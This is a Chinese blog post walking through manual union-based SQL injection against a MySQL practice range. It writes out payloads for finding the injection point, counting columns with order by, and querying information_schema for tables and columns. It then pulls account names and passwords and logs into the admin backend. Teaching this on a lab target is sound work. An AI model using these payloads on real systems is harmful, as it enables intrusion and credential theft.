今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场。话不多说,咱们直接开始。

第一步,判断注入点

通过 ' 和构造 and 1=1 和 and 1=2 查看页面是否报错。这里通过and 1=1 发现页面正常。如下图。

接下来,咱们再构造 and 1=2 发现页面报错,说明页面存在注入点。如下图。

第二步,判断字段数

通过 order by 语句,如果后面输入的数字大于数据库的字段数,页面就会报错,通过这个,咱们先输入 order by 4 发现页面正常。如下图。

接下来,咱们输入 order by 5,发现页面报错,说明数据库中存在四个字段。如下图

第三步,爆库

通过上一步,咱们已经知道了有几个字段,接下来,咱们通过联合查询,将 database() 依次替换1,2,3,4 看看哪个位置会显示在页面中,通过测试发现,2,3,两个位置有回显。构造如下语句 union select 1,database(),user(),4 #     最后的#是注释符。结果如下图。注意:使用联合查询时,要使得前面不可查询 所以我把1替换成了-1 也可以直接在后面添加 and 1=2 两种方式都可以。

第四步,爆表

在上一步咱们已经爆出了数据库名,接下来咱们爆表名,在MySQL 5 和之后的版本,里面有一个information_schema表,这个表下面存放了数据库里面的所有表,接下来就可以查询啦,这里用到了group_concat()函数,咱们构造如下语句 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=库名(库名转换成十六进制)结果如下图。

第五步,爆字段

上面咱们查询出了表名,先用第一个表测试,接下来,爆字段,构造如下语句 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=表名(换成十六进制),结果如下图

第六步,爆账号,密码。

通过上面,咱们发现,有 name password 字段,一般账号密码存放在里面。如果咱们通过一般查询,会掉到坑里面,如果咱们直接通过如下语句查询 union select 1,name,password,4 from 表名。发现爆出了账号密码,然后高兴的去登陆。发现尴尬了。去下图。

。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

接下来该怎么办呢,其实只要只要在上一个的语句后面加一个 limit 语句 就搞定了,还可以使用 group_concat() 函数 把上一句的 name 换成group_concat(name) 就可以啦 password 同理。这里使用了limit 语句 它的原理是 limit 0,1 是从第一行开始查询,查询一行。 limit 0,2 是从第一行开始查,查询两行。limit 1,2 是从第二行开始查询,查询两行。结果如下图。

查询出了第二个密码。账号同理。成功登陆后台。注入结束。

MySQL 手工注入总结

第一步,判断注入点,通过 ' 或者 and 1=1 和and 1=2

第二步,判断字段数,通过 order by 语句。

第三步,爆库,通过 union select 1,2,database(),4 #

第四步,爆表,通过 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=库名(库名换成十六进制)

第四步 爆字段,通过 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=表名(表名换成十六进制)

第五步 爆账号,密码,这里可以使用 limit 语句,也可以使用 group_concat()函数。上面演示了limit语句,如果用函数。通过语句 union select 1,group_concat(name),group_concat(password),4 from 表名。就可以直接得到两个账号和密码。
第六步 解密密码,登陆。​

手工注入——MySQL手工注入实战和分析的更多相关文章

  1. MYSQL手工注入(详细步骤)—— 待补充

    0x00 SQL注入的分类: (1)基于从服务器接收到的响应         ▲基于错误的 SQL 注入         ▲联合查询的类型         ▲堆查询注射         ▲SQL 盲注 ...

  2. MySQL手工注入学习-1

    MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...

  3. MySQL手工注入进阶篇——突破过滤危险字符问题

    当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题.下面是我的实战过程.这里使用的是墨者学院的在线靶场.咱们直接开始. 第一步,判断注入点. 通过测试发 ...

  4. mysql手工注入

    以下是mynona本人原创的,奉献给大家,不要小看数据库注入 参考: http://www.daydaydata.com/help/sql/advance/limit.html http://www. ...

  5. sql注入【手工及一些工具】

    Sql注入原理分析: 网站程序存在可控传递参数,参数未进行过滤直接带入数据库查询,导致攻击者可通过传递恶意sql语句代码进行执行攻击. Sql注入产生条件 1.必须有参数传递 2.参数值带入数据库查询 ...

  6. 基础Web漏洞-SQL注入入门(手工注入篇)

    一.什么是SQL注入  SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL.而SQL注入是将Web页面的原URL.表单域或数据包输入的参数,修改拼接成SQ ...

  7. Mysql基本注入

    实验环境:墨者学院Mysql手工注入漏洞测试靶场 后台源码没有进行任何字符过滤. 首先进入靶场环境 先用admin登陆试试 果然不行,这时看到用户登录下方有一个停机维护通知,点进去瞅瞅 看到这里链接上 ...

  8. MySQL的注入总结

    0x01 MySQL 5.0以上和MySQL 5.0以下版本的区别 MySQL5.0以上版本存在一个叫information_schema的数据库,它存储着数据库的所有信息,其中保存着关于MySQL服 ...

  9. 绕过阿里云waf进行mysql limit注入证明

    朋友发了我一个站点,来看看吧,是limit注入,不太常见.搞一搞吧. POST /Member/CompanyApply/lists HTTP/1.1 Host: * Content-Length: ...

随机推荐

  1. 【前端】这可能是你看过最全的css居中解决方案了~

    1.水平居中:行内元素解决方案 适用元素:文字,链接,及其其它inline或者inline-*类型元素(inline-block,inline-table,inline-flex) html部分代码: ...

  2. web前端性能优化的技巧

    1. 请减少HTTP请求 基本原理: 在浏览器(客户端)和服务器发生通信时,就已经消耗了大量的时间,尤其是在网络情况比较糟糕的时候,这个问题尤其的突出. 一个正常HTTP请求的流程简述:如在浏览器中输 ...

  3. webpack压缩图片之项目资源优化

    webpack打包时,会根据webpack.config.js 中url-loader中设置的limit大小来对图片进行处理,小于limit的图片转化成base64格式,其余的不做操作.对于比较大的图 ...

  4. JDK8内存模型—消失的PermGen

    一.JVM 内存模型 根据 JVM 规范,JVM 内存共分为虚拟机栈.堆.方法区.程序计数器.本地方法栈五个部分. 1.虚拟机栈:每个线程有一个私有的栈,随着线程的创建而创建.栈里面存着的是一种叫“栈 ...

  5. vs code开发python时找不到当前目录下的文件、UnicodeDecodeError: 'gbk'

    一.vs code开发python时找不到当前目录下的文件, file = open("readme.txt")一直报错,找不到目录下面的文件 原来vscode 默认都是以打开的项 ...

  6. ggplot2(3) 语法突破

    3.1 简介 图形图层语法基于Wilkinson的图形语法,并在其基础上添加了许多新功能,使得图形更有表现力,并能完美地嵌入到R的环境中. 图形图层语法使得图形的重复更新变得简单——每次只更新一个特征 ...

  7. vscode C++ 程序 windows

    vscode 1.42.1 OS: windows 7 x64 1. vscode, cpp extension 本文直接跳过 vscode 安装, Cpp tools 安装 2. MinGw 安装及 ...

  8. 前端基础面试题(js部分)

      前端基础面试题(JS部分)   1.几种基本数据类型?复杂数据类型?值类型和引用数据类型?堆栈数据结构? 基本数据类型:Undefined.Null.Boolean.Number.String值类 ...

  9. javaScript 基础知识汇总 (十二)

    1.属性的标志和描述符 属性的标志 对象属性除value外还有三个特殊属性,即标志 writable ----如果为true,则可以修改,否则它只是只读的. enumerable ----如果为tru ...

  10. Ubuntu下实现歌词解析

    我们要明确目的,实现歌曲歌词同步. 1.将歌词文件一次性去取到内存中.(以周董的“简单爱”为例) a.用fopen打开歌词文件 FILE *fp  = fopen(“简单爱.lrc”,"r& ...